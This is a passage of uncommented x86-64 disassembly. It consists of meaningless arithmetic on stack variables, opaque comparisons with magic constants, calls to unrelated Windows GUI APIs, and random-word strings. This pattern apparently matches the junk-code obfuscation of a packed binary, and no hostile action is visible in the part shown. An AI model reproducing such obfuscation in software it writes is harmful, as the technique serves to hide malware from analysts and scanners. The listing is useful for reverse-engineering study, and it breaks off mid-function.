movzx eax, byte [rbp + 0x20b6]
mov byte [rbp + 0x3657], al
movzx eax, byte [rbp + 0x4afb]
mov byte [rbp + 0xebb], al
jmp 0x14000415c
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
cmp eax, 0xa51868d8
jne 0x1400040c2
movzx ecx, byte [rbp + 0x3f13]
movzx edx, byte [rbp + 0x20b6]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
jmp 0x1400040d8
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
sub ax, 0x8f9
mov word [rbp + 0xee4], ax
nop
lea rcx, [rbp + 0x4a60]
lea rdx, [rbp + 0x26a0]
lea rax, [rbp + 0x33b8]
mov r8, rcx
mov rcx, rax
call sub.gdiplus.dll_GdiplusStartup
mov dword [rbp + 0x1bc8], eax
mov rax, qword [rbp + 0x33b8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
and rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x4afb]
movsx ecx, al
movzx eax, byte [rbp + 0xebb]
movsx r9d, al
movzx eax, byte [rbp + 0x4afb]
movsx r8d, al
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400fd7d7
nop
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x41f
jne 0x1400041d1
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xde3
jne 0x1400041af
mov rax, qword [rbp + 0x2d68]
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_MakeDragList]
call rax
mov dword [rbp + 0x1aa18], eax
movzx eax, byte [rbp + 0xebb]
shl eax, 4
mov byte [rbp + 0x4afb], al
jmp 0x1400041b0
nop
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x3657]
mov rax, qword [rbp + 0x4d98]
sub edx, ecx
mov byte [rax], dl
jmp 0x1400fd42c
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
imul eax, eax, 0xae2f
shr eax, 0x10
mov edx, eax
shr dx, 0xa
movzx eax, word [rbp + 0xee4]
cmp dx, ax
jae 0x140004336
movzx eax, byte [rbp + 0xebb]
or eax, 0x3e
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
cmp dl, al
je 0x140004284
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
cmp eax, 0x73
jne 0x14000423e
movzx ecx, byte [rbp + 0x3657]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
xor edx, ecx
mov byte [rax], dl
jmp 0x140004284
lea rax, [rbp + 0xee4]
mov qword [rbp + 0x4ed0], rax
movabs rax, 0x6940743231c5a65f
mov qword [rbp + 0x2d10], rax
mov edx, dword [rbp + 0x3fac]
mov eax, dword [rbp + 0xf40]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x1cc], eax
lea rax, [rbp + 0x840]
mov qword [rbp + 0x2990], rax
nop
lea rax, [rbp + 0x1200]
mov qword [rbp + 0x740], rax
mov eax, dword [rbp + 0xa6c]
cmp eax, 0x13295702
je 0x140004315
cmp eax, 0xc0edbb6e
jne 0x140004336
mov rax, qword [rbp + 0x24a8]
movabs rdx, 0x7ecf838d518b84c0
cmp rax, rdx
je 0x1400042f9
movabs rdx, 0xf053a5a787f7bd2a
cmp rax, rdx
jne 0x140004335
mov rcx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
jmp 0x140004313
mov rax, qword [rbp + 0x2d68]
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_MakeDragList]
call rax
mov dword [rbp + 0x1a9f8], eax
nop
jmp 0x140004335
mov rax, qword [rbp + 0x2990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
and rdx, rcx
mov qword [rax], rdx
jmp 0x140004336
nop
mov dword [rbp + 0x1affc], 0xa9fe
movzx edx, byte [rbp + 0x20b6]
movzx eax, byte [rbp + 0x3657]
add eax, edx
mov byte [rbp + 0x3f13], al
movzx eax, byte [rbp + 0xebb]
mov byte [rbp + 0x34], al
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
test eax, eax
je 0x14000437c
cmp eax, 0x12
je 0x1400fd2e1
jmp 0x1400fd3cc
mov word [rbp + 0x1a74], 0x3710
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3657]
movzx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x20b6]
movzx edx, al
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
sub edx, eax
cmp ecx, edx
jl 0x1400044c6
lea rax, [rbp + 0x34]
mov qword [rbp + 0x2380], rax
mov rdx, qword [rbp + 0x2d10]
movabs rax, 0x5a56f8c843daca01
cmp rdx, rax
jle 0x140004487
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x3710
je 0x1400043fe
cmp eax, 0x46cd
je 0x14000445a
jmp 0x1400044c6
lea rax, [rbp + 0xee4]
mov qword [rbp + 0x5b8], rax
lea rax, [rbp + 0x3f13]
mov qword [rbp + 0x1af60], rax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0xb
jne 0x140004457
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x49fd
jne 0x140004442
call fcn.1400fdbea
jmp 0x140004455
movzx eax, word [rbp + 0x1a74]
or ax, 0x112e
mov word [rbp + 0x1a74], ax
nop
jmp 0x140004458
nop
jmp 0x1400044c6
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
jmp 0x1400044c6
mov rdx, qword [rbp + 0x2d10]
movabs rax, 0x10717f0488df5628
cmp rdx, rax
jle 0x1400044c6
movzx eax, byte [rbp + 0x3657]
movzx ecx, al
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x2d10]
mov r8d, ecx
mov rcx, rax
call fcn.1400fe387
lea rax, [rbp + 0x840]
mov qword [rbp + 0x1a9f0], rax
mov dword [rbp + 0x1afcc], 0x3514
mov rax, qword [rbp + 0x2d10]
mov qword [rbp + 0x3a18], rax
jmp 0x1400048c2
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x5b8]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
xor eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
and edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x20b6]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x34]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x1af60]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x1200]
mov dword [rbp + 0xa6c], eax
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x33b8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x24a8], rdx
mov rax, qword [rbp + 0x2d10]
movabs rdx, 0x90053bd30d1d04
and rax, rdx
mov qword [rbp + 0x3a18], rax
mov edx, dword [rbp + 0x3fac]
mov eax, dword [rbp + 0x105c]
add eax, edx
mov dword [rbp + 0x1cc], eax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x34]
add eax, edx
mov byte [rbp + 0xebb], al
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5b8]
sub edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x1a74]
xor ax, 0x7570
mov word [rbp + 0x1a74], ax
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x840]
mov ecx, eax
mov rax, qword [rbp + 0x2990]
shr rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x1200], eax
mov rax, qword [rbp + 0x740]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bc8]
mov rax, qword [rbp + 0x740]
and edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x1b070], 0x21
mov rax, qword [rbp + 0x3a18]
movabs rdx, 0x50e497a3c6e6d203
add rax, rdx
mov qword [rbp + 0x2d10], rax
mov rcx, qword [rbp + 0x24a8]
mov rdx, qword [rbp + 0x840]
mov rax, qword [rbp + 0x2990]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4afb]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xebb], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3657]
add edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5b8]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1af60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3657], al
movzx edx, byte [rbp + 0x3657]
movzx eax, byte [rbp + 0x20b6]
and edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x34]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
xor edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rax, qword [rbp + 0x33b8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x1a9f0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2990]
or rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x2d10]
shl rax, 0x1a
mov qword [rbp + 0x3a18], rax
movzx eax, byte [rbp + 0x34]
movsx edx, al
movzx eax, byte [rbp + 0x4afb]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
movzx ecx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x5b8]
sub edx, ecx
mov word [rax], dx
mov ecx, dword [rbp + 0x1bc8]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x3048]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
add eax, edx
mov byte [rbp + 0x3657], al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xebb]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x4afb], al
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xa6c], edx
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24a8]
add rax, rdx
mov qword [rbp + 0x840], rax
cmp dword [rbp + 0x1b070], 0x459c
ja 0x1400044f1
lea rax, [rbp + 0x2d10]
mov qword [rbp + 0x700], rax
lea rax, [rbp + 0xf40]
mov qword [rbp + 0x10b0], rax
movzx eax, word [rbp + 0xee4]
movzx edx, ax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x5b8]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx eax, ax
add eax, edx
cmp ecx, eax
jge 0x140004a20
lea rdx, [rbp + 0x2380]
mov rax, qword [rbp + 0x2d68]
mov r8, rdx
lea rdx, [fcn.1400fd7d7]
mov rcx, rax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rbp + 0x3a58], eax
mov rax, qword [rbp + 0x4ed0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
or eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rdx, qword [rbp + 0x2d10]
movabs rax, 0x3d8fbf705eaf7dac
cmp rdx, rax
jne 0x1400049ff
mov rax, qword [rbp + 0x4240]
mov r9d, 1
mov r8d, 0x69
mov edx, 0xb3
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetScrollPos]
call rax
mov dword [rbp + 0xf40], eax
mov rcx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov r8, rcx
mov ecx, eax
call fcn.1400fd6ca
jmp 0x140004ac2
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3f13]
xor edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
jmp 0x140004ac2
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov byte [rbp + 0x2c4c], al
movzx eax, byte [rbp + 0x34]
movsx eax, al
cmp eax, 0xffffffff
je 0x140004a43
cmp eax, 0xe
je 0x140004aa2
jmp 0x140004ac2
movzx eax, word [rbp + 0xee4]
mov word [rbp + 0x1c72], ax
lea rax, [rbp + 0x3a18]
mov qword [rbp + 0x1b008], rax
mov dword [rbp + 0x1b034], 0x5473
lea rax, [rbp + 0xf40]
mov qword [rbp + 0x1b000], rax
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x1bc8], eax
lea rax, [rbp + 0x24a8]
mov qword [rbp + 0x1b020], rax
jmp 0x140004ac2
mov rax, qword [rbp + 0x4240]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov qword [rbp + 0x1a9e8], rax
nop
mov dword [rbp + 0x1b054], 0xa1fc
mov eax, dword [rbp + 0xf40]
test eax, eax
je 0x140004ae6
cmp eax, 0x4fdda485
je 0x1400fd106
jmp 0x1400fd228
movzx eax, word [rbp + 0x1c72]
movzx eax, ax
test eax, eax
jne 0x140004b8d
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
mov dword [rbp + 0xf40], eax
mov rax, qword [rbp + 0x4ed0]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x5b9
je 0x140004b78
cmp eax, 0xaf9
jne 0x140004caa
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x840], rdx
mov rax, qword [rbp + 0x1a9e0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetFocus]
call rax
mov qword [rbp + 0x2d68], rax
movzx eax, byte [rbp + 0x4afb]
mov edx, eax
movzx eax, byte [rbp + 0x34]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
jmp 0x140004b88
mov rax, qword [rbp + 0x840]
mov rcx, rax
call fcn.1400fe14c
nop
jmp 0x140004caa
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1c72]
or eax, edx
mov word [rbp + 0xee4], ax
mov rax, qword [rbp + 0x4d98]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3f13]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
mov rdx, qword [rbp + 0x3a18]
movabs rax, 0x3f70b6eb6b6bba22
cmp rdx, rax
jne 0x140004c41
mov rdx, qword [rbp + 0x3f30]
lea r8, [rbp + 0xa6c]
mov rax, qword [rbp + 0x1a9d8]
mov dword [rsp + 0x38], 0x7b
lea rcx, [rbp + 0x700]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x3a18]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0xe7
mov edx, 0x12
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ScrollWindowEx]
call rax
mov dword [rbp + 0x1cc], eax
jmp 0x140004c52
movzx eax, word [rbp + 0x1a74]
add eax, eax
mov word [rbp + 0x1a74], ax
nop
mov rax, qword [rbp + 0x2380]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x2c4c]
mov rax, qword [rbp + 0x2380]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2d68]
lea rdx, [rbp + 0x10b0]
mov r8, rdx
mov edx, 0x4b
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetScrollInfo]
call rax
mov dword [rbp + 0xd8], eax
mov rax, qword [rbp + 0x1b020]
mov rax, qword [rax]
mov rcx, rax
call fcn.1400fe82e
jmp 0x140004cab
nop
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
test eax, eax
je 0x140004cc8
cmp eax, 0x7ce24e07
je 0x140004d5c
jmp 0x140004d7c
lea rax, [rbp + 0x840]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x840]
test rax, rax
jne 0x140004d3b
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
mov dword [rbp + 0x105c], eax
mov rax, qword [rbp + 0x1af68]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bc8]
and eax, edx
mov dword [rbp + 0x1200], eax
lea rax, [rbp + 0x2d10]
mov qword [rbp + 0x1af78], rax
lea rax, [rbp + 0x1c72]
mov qword [rbp + 0x1afd0], rax
movzx eax, byte [rbp + 0x4afb]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add eax, edx
mov byte [rbp + 0x34], al
jmp 0x140004d5a
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xebb]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
nop
jmp 0x140004d7c
mov rax, qword [rbp + 0x1a9d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov qword [rbp + 0x3478], rax
nop
mov dword [rbp + 0x1b074], 0x7d5f
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
imul rax, rdx
mov qword [0x140101050], rax
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x20b6]
and edx, eax
mov rax, qword [rbp + 0x1af60]
mov byte [rax], dl
movzx eax, byte [rbp + 0xebb]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1af68]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x1bc8], edx
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [0x140101050]
add rax, rdx
mov qword [rbp + 0x3a18], rax
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x33b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov qword [rbp + 0x24a8], rax
mov rax, qword [rbp + 0x1af68]
mov r8d, dword [rax]
mov edx, dword [rbp + 0xa6c]
mov rax, qword [rbp + 0x740]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x2380]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x34]
mov rax, qword [rbp + 0x2380]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1558]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0xee4]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x4ed0]
mov word [rax], dx
movzx ecx, byte [rbp + 0x3657]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x700]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
and rdx, rax
mov rax, qword [rbp + 0x1b008]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1b008]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2d10]
mov rax, qword [rbp + 0x700]
add rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x24a8]
mov rax, qword [rbp + 0x1a9f0]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x840], rdx
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf40]
add edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov rax, qword [rbp + 0x740]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xa6c], edx
add dword [rbp + 0x1b01c], 0x53
movzx edx, byte [rbp + 0x4afb]
movzx eax, byte [rbp + 0xebb]
and eax, edx
mov byte [rbp + 0x2c4c], al
mov rax, qword [rbp + 0x4d98]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1af60]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3657], al
movzx edx, word [rbp + 0x1c72]
movzx ecx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x4ed0]
sub edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x1b01c], 0xfa5a
jbe 0x140004da2
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3fac]
sub edx, eax
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x4d98]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x3f13]
mov rax, qword [rbp + 0x4d98]
add edx, ecx
mov byte [rax], dl
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
mov ecx, eax
sar rdx, cl
mov rax, rdx
mov qword [rbp + 0x3a18], rax
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
or rax, rdx
mov qword [rbp + 0x24a8], rax
mov rax, qword [rbp + 0x1b000]
mov edx, dword [rax]
mov rax, qword [rbp + 0x10b0]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1b000]
mov dword [rax], edx
mov rax, qword [rbp + 0x1af68]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x740]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3048]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5b8]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x1afd0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4ed0]
and edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x4afb]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x34], al
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
add rax, rdx
mov qword [0x140101050], rax
sub dword [rbp + 0x1afcc], 0x2c
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x34]
sub edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
movzx edx, word [rbp + 0xee4]
mov rax, qword [rbp + 0x1558]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1c72], ax
mov rax, qword [rbp + 0x10b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1b000]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x3fac], eax
mov rax, qword [rbp + 0x3048]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa6c]
and edx, eax
mov rax, qword [rbp + 0x1af68]
mov dword [rax], edx
mov rdx, qword [rbp + 0x3a18]
mov rax, qword [rbp + 0x1b008]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x2d10], rdx
mov rax, qword [rbp + 0x2990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x840]
add rdx, rax
mov rax, qword [rbp + 0x1b020]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x2c4c]
add edx, eax
mov rax, qword [rbp + 0x2380]
mov byte [rax], dl
cmp dword [rbp + 0x1afcc], 0x2ac4
ja 0x140004fa9
movzx eax, word [rbp + 0x1a74]
cwde
cmp eax, 0x113c
je 0x140005471
cmp eax, 0x3710
jne 0x140005571
lea rax, [rbp + 0x3f13]
mov qword [rbp + 0x4150], rax
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x2d10]
mov ecx, edx
shl rax, cl
mov rcx, rax
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x3a18]
or rax, rdx
cmp rcx, rax
jg 0x140005570
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
mov ecx, eax
sar edx, cl
movzx ecx, byte [rbp + 0xebb]
movzx eax, byte [rbp + 0x34]
xor eax, ecx
movsx eax, al
cmp edx, eax
jge 0x1400052ef
mov rax, qword [rbp + 0x1af78]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2d10]
and rax, rdx
mov qword [0x140101050], rax
movzx eax, byte [rbp + 0x4afb]
movsx edx, al
movzx eax, byte [rbp + 0x2c4c]
movsx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x34]
movsx edx, al
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
cmp ecx, edx
jg 0x1400052cd
movzx eax, word [rbp + 0x1c72]
movzx ecx, word [rbp + 0xee4]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
movzx eax, word [rbp + 0xee4]
movzx eax, ax
cmp eax, 0x180
je 0x14000529a
cmp eax, 0xd6a
je 0x1400052a4
jmp 0x140005570
call fcn.1400fdbea
jmp 0x14000546c
lea rax, str.ballerina_Greatgranddaughter
mov rdx, rax
lea rax, str.Hydrocarbons_Repressions_openheart_Amidst
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharPrevW]
call rax
mov qword [rbp + 0x4f38], rax
jmp 0x14000546c
mov rax, qword [rbp + 0x1558]
movzx edx, word [rax]
movzx eax, word [rbp + 0xee4]
add edx, eax
mov rax, qword [rbp + 0x1afd0]
mov word [rax], dx
jmp 0x140005570
movzx eax, word [rbp + 0x1a74]
cmp ax, 0x18e7
jle 0x140005570
mov rax, qword [rbp + 0x1b008]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3a18]
mov rcx, rdx
and rcx, rax
mov rdx, qword [0x140101050]
mov rax, qword [rbp + 0x1af78]
mov rax, qword [rax]
sub rdx, rax
cmp rcx, rdx
jne 0x14000544c
mov rax, qword [rbp + 0x3048]
mov eax, dword [rax]
cmp eax, 0x14770dff
jne 0x140005374
mov rax, qword [rbp + 0x1af78]
mov rcx, qword [rax]
movzx eax, word [rbp + 0xee4]
movzx edx, ax
mov rax, qword [rbp + 0x2380]
movzx eax, byte [rax]
movsx eax, al
mov r8, rcx
